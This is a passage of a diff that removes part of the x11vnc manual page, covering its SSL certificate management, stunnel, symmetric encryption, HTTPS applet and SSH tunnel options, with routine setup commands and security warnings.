-protect the generated key with a passphrase. However in
-\fB-inetd\fR and \fB-bg\fR modes there will be no prompting for a
-passphrase in either case.
-.IP
-If [pem] is "SAVE_PROMPT" the server.pem certificate
-will be created based on your answers to its prompts for
-all info such as OrganizationalName, CommonName, etc.
-.IP
-Use "SAVE-<string>" and "SAVE_PROMPT-<string>"
-to refer to the file ~/.vnc/certs/server-<string>.pem
-instead (it will be generated if it does not already
-exist). E.g. "SAVE-charlie" will store to the file
-~/.vnc/certs/server-charlie.pem
-.IP
-Examples: x11vnc \fB-ssl\fR SAVE \fB-display\fR :0 ...
-x11vnc \fB-ssl\fR SAVE-someother \fB-display\fR :0 ...
-.IP
-If [pem] is "TMP" and the
-.IR openssl (1)
-utility
-command exists in PATH, then a temporary, self-signed
-certificate will be generated for this session. If
-.IR openssl (1)
-cannot be used to generate a temporary
-certificate x11vnc exits immediately. The temporary
-cert will be discarded when x11vnc exits.
-.IP
-If successful in using
-.IR openssl (1)
-to generate a
-temporary certificate in "SAVE" or "TMP" creation
-modes, the public part of it will be displayed to stderr
-(e.g. one could copy it to the client-side to provide
-authentication of the server to VNC viewers.)
-.IP
-NOTE: In "TMP" mode, unless you safely copy the
-public part of the temporary Cert to the viewer for
-authenticate *every time* (unlikely...), then only
-passive sniffing attacks are prevented and you are
-still open to Man-In-The-Middle attacks. This is
-why the default "SAVE" mode is preferred (and more
-sophisticated CA mode too). Only with saved keys AND
-the VNC viewer authenticating them (via the public
-certificate), are Man-In-The-Middle attacks prevented.
-.IP
-If [pem] is "ANON" then the Diffie-Hellman anonymous
-key exchange method is used. In this mode there
-are *no* SSL certificates and so it is not possible
-to authenticate either the VNC server or VNC client.
-Thus only passive network sniffing attacks are avoided:
-the "ANON" method is susceptible to Man-In-The-Middle
-attacks. "ANON" is not recommended; instead use
-a SSL PEM you created or the default "SAVE" method.
-.IP
-See \fB-ssldir\fR below to use a directory besides the
-default ~/.vnc/certs
-.IP
-If your x11vnc binary was not compiled with OpenSSL
-library support, use of the \fB-ssl\fR option will induce an
-immediate failure and exit. For such binaries, consider
-using the \fB-stunnel\fR option for SSL encrypted connections.
-.IP
-Misc Info: In temporary cert creation mode "TMP", set
-the env. var. X11VNC_SHOW_TMP_PEM=1 to have x11vnc print
-out the entire certificate, including the PRIVATE KEY
-part, to stderr. There are better ways to get/save this
-info. See "SAVE" above and "\fB-sslGenCert\fR" below.
-.PP
-\fB-ssltimeout\fR \fIn\fR
-.IP
-Set SSL read timeout to n seconds. In some situations
-(i.e. an iconified viewer in Windows) the viewer stops
-talking and the connection is dropped after the default
-timeout (25s for about the first minute, 43200s later).
-Set to zero to poll forever. Set to a negative value
-to use the builtin setting.
-.IP
-Note that this value does NOT apply to the *initial* ssl
-init connection. The default timeout for that is 20sec.
-Use \fB-env\fR SSL_INIT_TIMEOUT=n to modify it.
-.PP
-\fB-sslnofail\fR
-.IP
-Exit at the first SSL connection failure. Useful when
-scripting SSL connections (e.g. x11vnc is started via
-ssh) and you do not want x11vnc waiting around for more
-connections, tying up ports, etc.
-.PP
-\fB-ssldir\fR \fIdir\fR
-.IP
-Use \fIdir\fR as an alternate ssl certificate and key
-management toplevel directory. The default is
-~/.vnc/certs
-.IP
-This directory is used to store server and other
-certificates and keys and also other materials. E.g. in
-the simplest case, "\fB-ssl\fR \fISAVE\fR" will store the x11vnc
-server cert in dir/server.pem
-.IP
-Use of alternate directories via \fB-ssldir\fR allows you to
-manage multiple VNC Certificate Authority (CA) keys.
-Another use is if ~/.vnc/cert is on an NFS share you
-might want your certificates and keys to be on a local
-filesystem to prevent network snooping (for example
-\fB-ssldir\fR /var/lib/x11vnc-certs).
-.IP
-\fB-ssldir\fR affects nearly all of the other \fB-ssl*\fR options,
-e.g. \fB-ssl\fR SAVE, \fB-sslGenCert,\fR etc..
-.PP
-\fB-sslverify\fR \fIpath\fR
-.IP
-For either of the \fB-ssl\fR or \fB-stunnel\fR modes, use \fIpath\fR
-to provide certificates to authenticate incoming VNC
-*Client* connections (normally only the server is
-authenticated in SSL.) This can be used as a method
-to replace standard password authentication of clients.
-.IP
-If \fIpath\fR is a directory it contains the client (or CA)
-certificates in separate files. If path is a file,
-it contains one or more certificates. See special tokens
-below. These correspond to the "CApath = dir" and
-"CAfile = file" stunnel options. See the
-.IR stunnel (8)
-manpage for details.
-.IP
-Examples:
-x11vnc \fB-ssl\fR \fB-sslverify\fR ~/my.crt
-x11vnc \fB-ssl\fR \fB-sslverify\fR ~/my_pem_dir/
-.IP
-Note that if path is a directory, it must contain
-the certs in separate files named like <HASH>.0, where
-the value of <HASH> is found by running the command
-"openssl x509 \fB-hash\fR \fB-noout\fR \fB-in\fR file.crt". Evidently
-one uses <HASH>.1 if there is a collision...
-.IP
-The the key-management utility "\fB-sslCertInfo\fR \fIHASHON\fR"
-and "\fB-sslCertInfo\fR \fIHASHOFF\fR" will create/delete these
-hashes for you automatically (via symlink) in the HASH
-subdirs it manages. Then you can point \fB-sslverify\fR to
-the HASH subdir.
-.IP
-Special tokens: in \fB-ssl\fR mode, if \fIpath\fR is not a file or
-a directory, it is taken as a comma separated list of
-tokens that are interpreted as follows:
-.IP
-If a token is "CA" that means load the CA/cacert.pem
-file from the ssl directory. If a token is "clients"
-then all the files clients/*.crt in the ssl directory
-are loaded. Otherwise the file clients/token.crt
-is attempted to be loaded. As a kludge, use a token
-like ../server-foo to load a server cert if you find
-that necessary.
-.IP
-Use \fB-ssldir\fR to use a directory different from the
-~/.vnc/certs default.
-.IP
-Note that if the "CA" cert is loaded you do not need
-to load any of the certs that have been signed by it.
-You will need to load any additional self-signed certs
-however.
-.IP
-Examples:
-x11vnc \fB-ssl\fR \fB-sslverify\fR CA
-x11vnc \fB-ssl\fR \fB-sslverify\fR self:fred,self:jim
-x11vnc \fB-ssl\fR \fB-sslverify\fR CA,clients
-.IP
-Usually "\fB-sslverify\fR \fICA\fR" is the most effective.
-See the \fB-sslGenCA\fR and \fB-sslGenCert\fR options below for
-how to set up and manage the CA framework.
-.IP
-NOTE: the following utilities, \fB-sslGenCA,\fR \fB-sslGenCert,\fR
-\fB-sslEncKey,\fR \fB-sslCertInfo,\fR and \fB-sslCRL\fR are provided for
-completeness, but for casual usage they are overkill.
-.IP
-They provide VNC Certificate Authority (CA) key creation
-and server / client key generation and signing. So they
-provide a basic Public Key management framework for
-VNC-ing with x11vnc. (note that they require
-.IR openssl (1)
-be installed on the system)
-.IP
-However, the simplest usage mode, "\fB-ssl\fR \fITMP\fR" (where
-x11vnc automatically generates its own, self-signed,
-temporary key and the VNC viewers always accept it,
-e.g. accepting via a dialog box) is probably safe enough
-for most scenarios. CA management is not needed.
-.IP
-To protect against Man-In-The-Middle attacks the "TMP"
-mode can be improved by using "\fB-ssl\fR \fISAVE\fR" (same as
-"\fB-ssl\fR", i.e. the default) to have x11vnc create a
-longer term self-signed certificate, and then (safely)
-copy the corresponding public key cert to the desired
-client machines (care must be taken the private key part
-is not stolen; you will be prompted for a passphrase).
-.IP
-So keep in mind no CA key creation or management
-(-sslGenCA and \fB-sslGenCert)\fR is needed for either of
-the above two common usage modes.
-.IP
-One might want to use \fB-sslGenCA\fR and \fB-sslGenCert\fR
-if you had a large number of VNC client and server
-workstations. That way the administrator could generate
-a single CA key with \fB-sslGenCA\fR and distribute its
-certificate part to all of the workstations.
-.IP
-Next, he could create signed VNC server keys
-(-sslGenCert server ...) for each workstation or user
-that then x11vnc would use to authenticate itself to
-any VNC client that has the CA cert.
-.IP
-Optionally, the admin could also make it so the
-VNC clients themselves are authenticated to x11vnc
-(-sslGenCert client ...) For this \fB-sslverify\fR would be
-pointed to the CA cert (and/or self-signed certs).
-.IP
-x11vnc will be able to use all of these cert and
-key files. On the VNC client side, they will need to
-be "imported" somehow. Web browsers have "Manage
-Certificates" actions as does the Java applet plugin
-Control Panel. stunnel can also use these files (see
-the ss_vncviewer example script in the FAQ and SSVNC.)
-.PP
-\fB-sslCRL\fR \fIpath\fR
-.IP
-Set the Certificate Revocation Lists (CRL) to \fIpath\fR.
-This setting applies for both \fB-ssl\fR and \fB-stunnel\fR modes.
-.IP
-If path is a file, the file contains one or more CRLs
-in PEM format. If path is a directory, it contains
-hash named files of CRLs in the usual OpenSSL manner.
-See the OpenSSL and
-.IR stunnel (8)
-documentation for
-more info.
-.IP
-This option only applies if \fB-sslverify\fR has been
-supplied: it checks for revocation along the
-certificate chain used to verify the VNC client.
-The \fB-sslCRL\fR setting will be ignored when \fB-sslverify\fR is
-not specified.
-.IP
-Note that if a CRL's expiration date has passed, all
-SSL connections will fail regardless of if they are
-related to the subject of the CRL or not.
-.IP
-Only rarely will one's x11vnc \fB-ssl\fR infrastructure be so
-large that this option would be useful (since normally
-maintaining the contents of the \fB-sslverify\fR file or
-directory should be enough.) However, when using
-x11vnc with a Certificate Authority (see \fB-sslGenCA)\fR
-to authenticate Clients via SSL/TLS, the \fB-sslCRL\fR option
-can be useful to revoke users' certs whose private SSL
-keys were lost or stolen (e.g. laptop.) This way a new
-CA cert+key does not need to be created and new signed
-client keys generated and distributed to all users.
-.IP
-To create a CRL file with revoked certificates the
-commands 'openssl ca \fB-revoke\fR ...' and 'openssl ca
-\fB-gencrl\fR ...' are useful. (Run them in ~/.vnc/certs)
-.PP
-\fB-sslGenCA\fR \fI[dir]\fR
-.IP
-Generate your own Certificate Authority private key,
-certificate, and other files in directory [dir].
-x11vnc then exits.
-.IP
-If [dir] is not supplied, a \fB-ssldir\fR setting is used,
-or otherwise ~/.vnc/certs is used.
-.IP
-This command also creates directories where server and
-client certs and keys will be stored. The
-.IR openssl (1)
-program must be installed on the system and available
-in PATH.
-.IP
-After the CA files and directories are created the
-x11vnc command exits; the VNC server is not run.
-.IP
-You will be prompted for information to put into the CA
-certificate. The info does not have to be accurate just
-as long as clients accept the cert for VNC connections.
-You will also need to supply a passphrase of at least
-4 characters for the CA private key.
-.IP
-Once you have generated the CA you can distribute
-its certificate part, [dir]/CA/cacert.pem, to other
-workstations where VNC viewers will be run. One will
-need to "import" this certificate in the applications,
-e.g. Web browser, Java applet plugin, stunnel, etc.
-Next, you can create and sign keys using the CA with
-the \fB-sslGenCert\fR option below.
-.IP
-Examples:
-x11vnc \fB-sslGenCA\fR
-x11vnc \fB-sslGenCA\fR ~/myCAdir
-x11vnc \fB-ssldir\fR ~/myCAdir \fB-sslGenCA\fR
-.IP
-(the last two lines are equivalent)
-.PP
-\fB-sslGenCert\fR \fItype\fR \fIname\fR
-.IP
-Generate a VNC server or client certificate and private
-key pair signed by the CA created previously with
-\fB-sslGenCA.\fR The
-.IR openssl (1)
-program must be installed
-on the system and available in PATH.
-.IP
-After the Certificate is generated x11vnc exits; the
-VNC server is not run.
-.IP
-The type of key to be generated is the string \fItype\fR.
-It is either "server" (i.e. for use by x11vnc) or
-"client" (for a VNC viewer). Note that typically
-only "server" is used: the VNC clients authenticate
-themselves by a non-public-key method (e.g. VNC or
-unix password). \fItype\fR is required.
-.IP
-An arbitrary default name you want to associate with
-the key is supplied by the \fIname\fR string. You can
-change it at the various prompts when creating the key.
-\fIname\fR is optional.
-.IP
-If name is left blank for clients keys then "nobody"
-is used. If left blank for server keys, then the
-primary server key: "server.pem" is created (this
-is the saved one referenced by "\fB-ssl\fR \fISAVE\fR" when the
-server is started)
-.IP
-If \fIname\fR begins with the string "self:" then
-a self-signed certificate is created instead of one
-signed by your CA key.
-.IP
-If \fIname\fR begins with the string "req:" then only a
-key (.key) and a certificate signing *request* (.req)
-are generated. You can then send the .req file to
-an external CA (even a professional one, e.g. Thawte)
-and then combine the .key and the received cert into
-the .pem file with the same basename.
-.IP
-The distinction between "server" and "client" is
-simply the choice of output filenames and sub-directory.
-This makes it so the \fB-ssl\fR SAVE-name option can easily
-pick up the x11vnc PEM file this option generates.
-And similarly makes it easy for the \fB-sslverify\fR option
-to pick up your client certs.
-.IP
-There is nothing special about the filename or directory
-location of either the "server" and "client" certs.
-You can rename the files or move them to wherever
-you like.
-.IP
-Precede this option with \fB-ssldir\fR [dir] to use a
-directory other than the default ~/.vnc/certs You will
-need to run \fB-sslGenCA\fR on that directory first before
-doing any \fB-sslGenCert\fR key creation.
-.IP
-Note you cannot recreate a cert with exactly the same
-distiguished name (DN) as an existing one. To do so,
-you will need to edit the [dir]/CA/index.txt file to
-delete the line.
-.IP
-Similar to \fB-sslGenCA,\fR you will be prompted to fill
-in some information that will be recorded in the
-certificate when it is created.
-.IP
-Tip: if you know the fully-qualified hostname other
-people will be connecting to, you can use that as the
-CommonName "CN" to avoid some applications (e.g. web
-browsers and java plugin) complaining that it does not
-match the hostname.
-.IP
-You will also need to supply the CA private key
-passphrase to unlock the private key created from
-\fB-sslGenCA.\fR This private key is used to sign the server
-or client certificate.
-.IP
-The "server" certs can be used by x11vnc directly by
-pointing to them via the \fB-ssl\fR [pem] option. The default
-file will be ~/.vnc/certs/server.pem. This one would
-be used by simply typing \fB-ssl\fR SAVE. The pem file
-contains both the certificate and the private key.
-server.crt file contains the cert only.
-.IP
-The "client" cert + private key file will need
-to be copied and imported into the VNC viewer
-side applications (Web browser, Java plugin,
-stunnel, etc.) Once that is done you can delete the
-"client" private key file on this machine since
-it is only needed on the VNC viewer side. The,
-e.g. ~/.vnc/certs/clients/<name>.pem contains both
-the cert and private key. The <name>.crt contains the
-certificate only.
-.IP
-NOTE: It is very important to know one should
-generate new keys with a passphrase. Otherwise if an
-untrusted user steals the key file he could use it to
-masquerade as the x11vnc server (or VNC viewer client).
-You will be prompted whether to encrypt the key with
-a passphrase or not. It is recommended that you do.
-One inconvenience to a passphrase is that it must
-be typed in EVERY time x11vnc or the client app is
-started up.
-.IP
-Examples:
-.IP
-x11vnc \fB-sslGenCert\fR server
-x11vnc \fB-ssl\fR SAVE \fB-display\fR :0 ...
-.IP
-and then on viewer using ss_vncviewer stunnel wrapper
-(see the FAQ):
-ss_vncviewer \fB-verify\fR ./cacert.crt hostname:0
-.IP
-(this assumes the cacert.crt cert from \fB-sslGenCA\fR
-was safely copied to the VNC viewer machine where
-ss_vncviewer is run)
-.IP
-Example using a name:
-.IP
-x11vnc \fB-sslGenCert\fR server charlie
-x11vnc \fB-ssl\fR SAVE-charlie \fB-display\fR :0 ...
-.IP
-Example for a client certificate (rarely used):
-.IP
-x11vnc \fB-sslGenCert\fR client roger
-scp ~/.vnc/certs/clients/roger.pem somehost:.
-rm ~/.vnc/certs/clients/roger.pem
-.IP
-x11vnc is then started with the option \fB-sslverify\fR
-~/.vnc/certs/clients/roger.crt (or simply \fB-sslverify\fR
-roger), and on the viewer user on somehost could do
-for example:
-.IP
-ss_vncviewer \fB-mycert\fR ./roger.pem hostname:0
-.IP
-If you set the env. var REQ_ARGS='...' it will be
-passed to openssl
-.IR req (1).
-A common use would be
-REQ_ARGS='-days 1095' to bump up the expiration date
-(3 years in this case).
-.PP
-\fB-sslEncKey\fR \fIpem\fR
-.IP
-Utility to encrypt an existing PEM file with a
-passphrase you supply when prompted. For that key to be
-used (e.g. by x11vnc) the passphrase must be supplied
-each time.
-.IP
-The "SAVE" notation described under \fB-ssl\fR applies as
-well. (precede this option with \fB-ssldir\fR [dir] to refer
-a directory besides the default ~/.vnc/certs)
-.IP
-The
-.IR openssl (1)
-program must be installed on the system
-and available in PATH. After the Key file is encrypted
-the x11vnc command exits; the VNC server is not run.
-.IP
-Examples:
-x11vnc \fB-sslEncKey\fR /path/to/foo.pem
-x11vnc \fB-sslEncKey\fR SAVE
-x11vnc \fB-sslEncKey\fR SAVE-charlie
-.PP
-\fB-sslCertInfo\fR \fIpem\fR
-.IP
-Prints out information about an existing PEM file.
-In addition the public certificate is also printed.
-The
-.IR openssl (1)
-program must be in PATH. Basically the
-command "openssl x509 \fB-text"\fR is run on the pem.
-.IP
-After the info is printed the x11vnc command exits;
-the VNC server is not run.
-.IP
-The "SAVE" notation described under \fB-ssl\fR applies
-as well.
-.IP
-Using "LIST" will give a list of all certs being
-managed (in the ~/.vnc/certs dir, use \fB-ssldir\fR to refer
-to another dir). "ALL" will print out the info for
-every managed key (this can be very long). Giving a
-client or server cert shortname will also try a lookup
-(e.g. \fB-sslCertInfo\fR charlie). Use "LISTL" or "LL"
-for a long (ls \fB-l\fR style) listing.
-.IP
-Using "HASHON" will create subdirs [dir]/HASH and
-[dir]/HASH with OpenSSL hash filenames (e.g. 0d5fbbf1.0)
-symlinks pointing up to the corresponding *.crt file.
-([dir] is ~/.vnc/certs or one given by \fB-ssldir.)\fR
-This is a useful way for other OpenSSL applications
-(e.g. stunnel) to access all of the certs without
-having to concatenate them. x11vnc will not use them
-unless you specifically reference them. "HASHOFF"
-removes these HASH subdirs.
-.IP
-The LIST, LISTL, LL, ALL, HASHON, HASHOFF words can
-also be lowercase, e.g. "list".
-.PP
-\fB-sslDelCert\fR \fIpem\fR
-.IP
-Prompts you to delete all .crt .pem .key .req files
-associated with [pem]. x11vnc then exits. "SAVE"
-and lookups as in \fB-sslCertInfo\fR apply as well.
-.PP
-\fB-sslScripts\fR
-.IP
-Prints out both the 'genCA' and 'genCert' x11vnc
-openssl wrapper scripts for you to examine, modify, etc.
-The scripts are printed to stdout and then the x11vnc
-program exits.
-.PP
-\fB-stunnel\fR \fI[pem]\fR
-.IP
-Use the
-.IR stunnel (8)
-(stunnel.mirt.net) to provide an
-encrypted SSL tunnel between viewers and x11vnc.
-.IP
-This external tunnel method was implemented prior to the
-integrated \fB-ssl\fR encryption described above. It still
-works well and avoids the requirement of linking with
-the OpenSSL libraries. This mode requires stunnel
-to be installed on the system and available via PATH
-(n.b. stunnel is often installed in sbin directories).
-Version 4.x of stunnel is assumed (but see \fB-stunnel3\fR
-below.)
-.IP
-[pem] is optional, use "\fB-stunnel\fR \fI/path/to/stunnel.pem\fR"
-to specify a PEM certificate file to pass to stunnel.
-See the \fB-ssl\fR option for more info on certificate files.
-.IP
-Whether or not your stunnel has its own certificate
-depends on your stunnel configuration; stunnel often
-generates one at install time. See your stunnel
-documentation for details. In any event, if you want to
-use this certificate you must supply the full path to it
-as [pem]. Note: the file may only be readable by root.
-.IP
-[pem] may also be the special strings "TMP", "SAVE",
-and "SAVE..." as described in the \fB-ssl\fR option.
-If [pem] is not supplied, "SAVE" is assumed.
-.IP
-Note that the VeNCrypt, ANONTLS, and "ANON" modes
-are not supported in \fB-stunnel\fR mode.
-.IP
-stunnel is started up as a child process of x11vnc and
-any SSL connections stunnel receives are decrypted and
-sent to x11vnc over a local socket. The strings
-"The SSL VNC desktop is ..." and "SSLPORT=..."
-are printed out at startup to indicate this.
-.IP
-The \fB-localhost\fR option is enforced by default to avoid
-people routing around the SSL channel. Use \fB-env\fR
-STUNNEL_DISABLE_LOCALHOST=1 to disable this security
-requirement.
-.IP
-Set \fB-env\fR STUNNEL_DEBUG=1 for more debugging printout.
-.IP
-Set \fB-env\fR STUNNEL_PROG=xxx to the full path of stunnel
-program you want to be used (e.g. /usr/bin/stunnel4).
-.IP
-Set \fB-env\fR STUNNEL_LISTEN=xxx to the address of the
-network interface to listen on (the default is to listen
-on all interfaces), e.g. STUNNEL_LISTEN=192.168.1.100.
-.IP
-A simple way to add IPv6 support is STUNNEL_LISTEN=::
-.IP
-Your VNC viewer will also need to be able to connect
-via SSL. Unfortunately not too many do this. See the
-information about SSL viewers under the \fB-ssl\fR option.
-The x11vnc project's SSVNC is an option.
-.IP
-Also, in the x11vnc distribution, patched TightVNC
-and UltraVNC Java applet jar files are provided in
-the classes/ssl directory that do SSL connections.
-Enable serving them with the \fB-http,\fR \fB-http_ssl,\fR or
-\fB-httpdir\fR (see the option descriptions for more info.)
-.IP
-Note that for the Java viewer applet usage the
-"?PORT=xxxx" in the various URLs printed at startup
-will need to be supplied to the web browser to connect
-properly.
-.IP
-Currently the automatic "single port" HTTPS mode of
-\fB-ssl\fR is not fully supported in \fB-stunnel\fR mode. However,
-it can be emulated via:
-.IP
-% x11vnc \fB-stunnel\fR \fB-http_ssl\fR \fB-http_oneport\fR ...
-.IP
-In general, it is also not too difficult to set up
-an stunnel or other SSL tunnel on the viewer side.
-A simple example on Unix using stunnel 3.x is:
-.IP
-% stunnel \fB-c\fR \fB-d\fR localhost:5901 \fB-r\fR remotehost:5900
-% vncviewer localhost:1
-.IP
-For Windows, stunnel has been ported to it and there
-are probably other such tools available. See the FAQ
-and SSVNC for more examples.
-.PP
-\fB-stunnel3\fR \fI[pem]\fR
-.IP
-Use version 3.x stunnel command line syntax instead of
-version 4.x. The \fB-http/-httpdir\fR Java applet serving
-is currently not available in this mode.
-.PP
-\fB-enc\fR \fIcipher:keyfile\fR
-.IP
-Use symmetric encryption with cipher "cipher"
-and secret key data in "keyfile". If keyfile is
-pw=<string> then "string" is used as the key data.
-.IP
-NOTE: It is recommended that you use SSL via the \fB-ssl\fR
-option instead of this option because SSL is well
-understood and takes great care to establish unique
-session keys and is more compatible with other software.
-Use this option if you do not want to deal with SSL
-certificates for authentication and do not want to
-use SSH but want some encryption for your VNC session.
-Or if you must interface with a symmetric key tunnel
-that you do not have control over.
-.IP
-Note that this mode will NOT work with the UltraVNC DSM
-plugins because they alter the RFB protocol in addition
-to tunnelling with the symmetric cipher (an unfortunate
-choice of implementation...)
-.IP
-cipher can be one of: arc4, aesv2, aes-cfb, blowfish,
-aes256, or 3des. See the OpenSSL documentation for
-more info. The keysize is 128 bits (except for aes256).
-Here is one way to make a keyfile with that many bits:
-.IP
-dd if=/dev/random of=./my.key bs=16 count=1
-.IP
-you will need to securely share this key with the other
-side of the VNC connection (See SSVNC for examples).
-.IP
-Example: \fB-enc\fR blowfish:./my.key
-Example: \fB-enc\fR blowfish:pw=swordfish
-.IP
-By default 16 bytes of random salt followed by 16 bytes
-of random initialization vector are sent at the very
-beginning of the stream. The other side must read these
-and initialize their cipher with them. These values
-make the session key unique (without them the security
-is minimal). Similarly, the other side must send us
-its random salt and IV with those same lengths.
-.IP
-The salt and key data are combined to create a session
-key using an md5 hash as described in
-.IR EVP_BytesToKey (3).
-.IP
-The exact call is: EVP_BytesToKey(Cipher, EVP_md5(),
-salt, keydata, len, 1, keystr, NULL); where salt is
-the random data as described above, and keydata is the
-shared secret key data. keystr is the resulting session
-key. The cipher is then seeded with keystr and uses
-the random initialization vector as its first block.
-.IP
-To modify the amount of random salt and initialization
-vector use cipher@n,m where n is the salt length and
-m the initialization vector length. E.g.
-.IP
-\fB-enc\fR aes-cfb@8,16:./my.key
-.IP
-It is not a good idea to set either one to zero,
-although you may be forced to if the other side of the
-tunnel is not under your control.
-.IP
-To skip the salt and EVP_BytesToKey MD5 entirely (no
-hashing is done: the keydata is directly inserted into
-the cipher) specify "-1" for the salt, e.g.
-.IP
-\fB-enc\fR blowfish@-1,16:./my.key
-.IP
-The message digest can also be changed to something
-besides the default MD5. Use cipher@md+n,m where "md"
-can be one of sha, sha1, md5, or ripe. For example:
-.IP
-\fB-enc\fR arc4@sha+8,16:./my.key
-.IP
-The SSVNC vnc viewer project supplies a symmetric
-encryption tool named "ultravnc_dsm_helper" that can
-be used on the viewer side. For example:
-.IP
-ssvncviewer exec='ultravnc_dsm_helper arc4 my.key 0 h:p'
-.IP
-where h:p is the hostname and port of the x11vnc server.
-ultravnc_dsm_helper may also be used standalone to
-provide a symmetric encryption tunnel for any viewer
-or server (VNC or otherwise.) The cipher (1st arg)
-is basically the same syntax as we use above.
-.IP
-Also see the 'Non-Ultra DSM' SSVNC option for the
-\'UltraVNC DSM Encryption Plugin' advanced option.
-.IP
-For both ways of using the viewer, you can specify the
-salt,ivec sizes (in GUI or, e.g. arc4@8,16).
-.PP
-\fB-https\fR \fI[port]\fR
-.IP
-Use a special, separate HTTPS port (-ssl and
-\fB-stunnel\fR modes only) for HTTPS Java viewer applet
-downloading. I.e. not 5900 and not 5800 (the defaults.)
-.IP
-BACKGROUND: In \fB-ssl\fR mode, it turns out you can use the
-single VNC port (e.g. 5900) for both VNC and HTTPS
-connections. (HTTPS is used to retrieve a SSL-aware
-VncViewer.jar applet that is provided with x11vnc).
-Since both use SSL the implementation was extended to
-detect if HTTP traffic (i.e. GET) is taking place and
-handle it accordingly. The URL would be, e.g.:
-.IP
-https://mymachine.org:5900/
-.IP
-This is convenient for firewalls, etc, because only one
-port needs to be allowed in. However, this heuristic
-adds a few seconds delay to each connection and can be
-unreliable (especially if the user takes much time to
-ponder the Certificate dialogs in his browser, Java VM,
-or VNC Viewer applet. That's right 3 separate "Are
-you sure you want to connect?" dialogs!)
-.IP
-END OF BACKGROUND.
-.IP
-USAGE: So use the \fB-https\fR option to provide a separate,
-more reliable HTTPS port that x11vnc will listen on. If
-[port] is not provided (or is 0), one is autoselected.
-The URL to use is printed out at startup.
-.IP
-The SSL Java applet directory is specified via the
-\fB-httpdir\fR option. If not supplied, \fB-https\fR will try
-to guess the directory as though the \fB-http\fR option
-was supplied.
-.PP
-\fB-httpsredir\fR \fI[port]\fR
-.IP
-In \fB-ssl\fR mode with the Java applet retrieved via HTTPS,
-when the HTML file containing applet parameters
-('index.vnc' or 'proxy.vnc') is sent do NOT set the
-applet PORT parameter to the actual VNC port but set it
-to "port" instead. If "port" is not supplied, then
-the port number is guessed from the Host: HTTP header.
-.IP
-This is useful when an incoming TCP connection
-redirection is performed by a router/gateway/firewall
-from one port to an internal machine where x11vnc is
-listening on a different port. The Java applet needs to
-connect to the firewall/router port, not the VNC port
-on the internal workstation. For example, one could
-redir from mygateway.com:443 to workstation:5900.
-.IP
-This spares the user from having to type in
-https://mygateway.com/?PORT=443 into their web
-browser. Note that port 443 is the default https port;
-other ports must be explicitly indicated, for example:
-https://mygateway.com:8000/?PORT=8000. To avoid having
-to include the PORT= in the browser URL, simply supply
-"\fB-httpsredir\fR" to x11vnc.
-.IP
-This option does not work in \fB-stunnel\fR mode.
-.IP
-More tricks: set the env var X11VNC_EXTRA_HTTPS_PARAMS
-to be extra URL parameters to use. This way you do
-not need to specify extra PARAMS in the index.vnc file.
-E.g. x11vnc \fB-env\fR X11VNC_EXTRA_HTTPS_PARAMS='?GET=1' ...
-.IP
-If you do not want to expose the non-SSL HTTP port to
-the network (i.e. you just want the single VNC/HTTPS
-port, e.g. 5900, open for connections) then specify the
-option \fB-env\fR X11VNC_HTTP_LISTEN_LOCALHOST=1 This way
-the connection to the LibVNCServer httpd server will
-only be available on localhost (note that in \fB-ssl\fR mode,
-HTTPS requests are redirected from SSL to the non-SSL
-LibVNCServer HTTP server.)
-.PP
-\fB-http_oneport\fR
-.IP
-For UN-encrypted connections mode (i.e. no \fB-ssl,\fR
-\fB-stunnel,\fR or \fB-enc\fR options), allow the Java VNC Viewer
-applet to be downloaded thru the VNC port via HTTP.
-.IP
-That is to say, you can use a single port for Java
-applet viewer connections by using a URL in your web
-browser like this, for example:
-.IP
-http://hostname:5900
-.IP
-The regular, two-port mode, URL http://hostname:5800
-will continue to work as well.
-.IP
-As mentioned above, this mode will NOT work with
-the \fB-ssl,\fR \fB-stunnel,\fR or \fB-enc\fR encryption options.
-Note that is it equivalent to '-enc none' (i.e. it
-uses the same detection mechanism as for HTTPS, but
-with no encryption.)
-.IP
-HTTPS single-port is on by default in \fB-ssl\fR encrypted
-mode (and \fB-enc\fR too), so you only need \fB-http_oneport\fR
-when doing non-SSL encrypted connections.
-.IP
-This mode could also be useful for SSH tunnels since
-it means only one port needs to be redirected.
-.IP
-The \fB-httpsredir\fR option may also be useful for this
-mode when using an SSH tunnel as well as for router
-port redirections.
-.IP
-Note that the \fB-env\fR X11VNC_HTTP_LISTEN_LOCALHOST=1
-option described above under \fB-httpsredir\fR applies for
-the LibVNCServer httpd server in all cases (ssl or not.)
-.PP
-\fB-ssh\fR \fIuser@host:disp\fR
-.IP
-Create a remote listening port on machine "host"
-via a SSH tunnel using the \fB-R\fR rport:localhost:lport
-method. lport will be the local x11vnc listening port,
-so a connection to rport (5900+disp) on "host"
-will reach x11vnc. E.g. fred@snoopy.com:0
-.IP
-This could be useful if a firewall/router prevents
-incoming connections to the x11vnc machine, but
-the ssh machine "host" can be reached by the VNC
-viewer. "user@" is not needed unless the remote unix
-username differs from the current one.
-.IP
-By default the remote sshd is usually configured to
-listen only on localhost for rport, so the viewer may
-need to ssh \fB-L\fR redir to "host" as well (See SSVNC to
-automate this). The sshd setting GatewayPorts enables
-listening on all interfaces for rport; viewers can
-reach it more easily.
-.IP
-"disp" is the VNC display for the remote SSH side,
-e.g. 0 corresponds to port 5900, etc. If disp is
-greater than 200 the value is used as the port. Use a
-negative value to force a low port, e.g. host:-80 will
-use port 80.
-.IP
-If ssh-agent is not active, then the ssh password needs
-to be entered in the terminal where x11vnc is running.
-.IP
-By default the remote ssh will issue a 'sleep 300' to
-wait for the incoming connection for 5 mins. To modify
-this use user@host:disp+secs.
-.IP
-If the remote SSH server is on a non-standard port
-(i.e. not 22) use user@host:port:disp+secs.
-.IP
-Note that the ssh process MAY NOT be killed when
-x11vnc exits. It tries by looking at
-.IR ps (1)
-output.
-.PP
-\fB-usepw\fR
-.IP
-If no other password method was supplied on the command
-line, first look for ~/.vnc/passwd and if found use it
-with \fB-rfbauth;\fR next, look for ~/.vnc/passwdfile and
-use it with \fB-passwdfile;\fR otherwise, prompt the user
-for a password to create ~/.vnc/passwd and use it with
-the \fB-rfbauth\fR option. If none of these succeed x11vnc
-exits immediately.
-.PP
-\fB-storepasswd\fR \fIpass\fR \fIfile\fR
-.IP
-Store password \fIpass\fR as the VNC password in the
-file \fIfile\fR. Once the password is stored the
-program exits. Use the password via "\fB-rfbauth\fR \fIfile\fR"
-.IP
-If called with no arguments, "x11vnc \fB-storepasswd",\fR
-the user is prompted for a password and it is stored
-in the file ~/.vnc/passwd. Called with one argument,
-that will be the file to store the prompted password in.
-.PP
-\fB-nopw\fR
-.IP
